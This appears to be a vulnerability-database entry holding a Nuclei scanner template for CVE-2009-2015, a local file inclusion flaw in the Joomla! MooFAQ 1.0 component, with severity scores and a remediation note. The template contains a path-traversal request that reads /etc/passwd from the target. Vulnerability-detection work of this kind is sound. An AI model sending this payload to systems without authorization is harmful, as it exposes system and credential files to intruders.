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Joomla! MooFAQ 1.0 - Local File Inclusion

🗓️ 14 Jun 2026 03:03:05Reported by ProjectDiscoveryType 
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Joomla! MooFAQ 1.0 - Local File Inclusion vulnerability allows remote attackers to read arbitrary files and gain unauthorized access to sensitive information. Update to latest version or apply official patch

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CVE-2009-2015
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9 Jun 200919:00
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9 Jun 200919:00
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7 Oct 202500:30
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9 Jun 200919:30
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9 Jun 200919:30
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id: CVE-2009-2015

info:
  name: Joomla! MooFAQ 1.0 - Local File Inclusion
  author: daffainfo
  severity: high
  description: Joomla! Ideal MooFAQ 1.0 via com_moofaq allows remote attackers to read arbitrary files via a .. (dot dot) in the file parameter (local file inclusion).
  impact: |
    The vulnerability allows an attacker to include arbitrary files from the local file system, potentially leading to unauthorized access, information disclosure.
  remediation: |
    Update Joomla! MooFAQ to the latest version or apply the official patch provided by the vendor.
  reference:
    - https://www.exploit-db.com/exploits/8898
    - http://www.vupen.com/english/advisories/2009/1530
    - https://nvd.nist.gov/vuln/detail/CVE-2009-2015
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2009-2015
    cwe-id: CWE-22
    epss-score: 0.02124
    epss-percentile: 0.84582
    cpe: cpe:2.3:a:joomla:joomla:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: joomla
    product: joomla
  tags: cve,cve2009,joomla,lfi,edb,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/components/com_moofaq/includes/file_includer.php?gzip=0&file=/../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100b05fe5e02757a38e8a463d120fb5245c509445321db5abaef142d1ca2d4950a9022100898a1f1c69add1d9653cf84f6cc56dc0ce2bf31f25339266a01519606a85f37f:922c64590222798bb761d5b6d8e72950

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04 Feb 2026 07:00Current
5.4Medium risk
Vulners AI Score5.4
CVSS 27.5
EPSS0.02124
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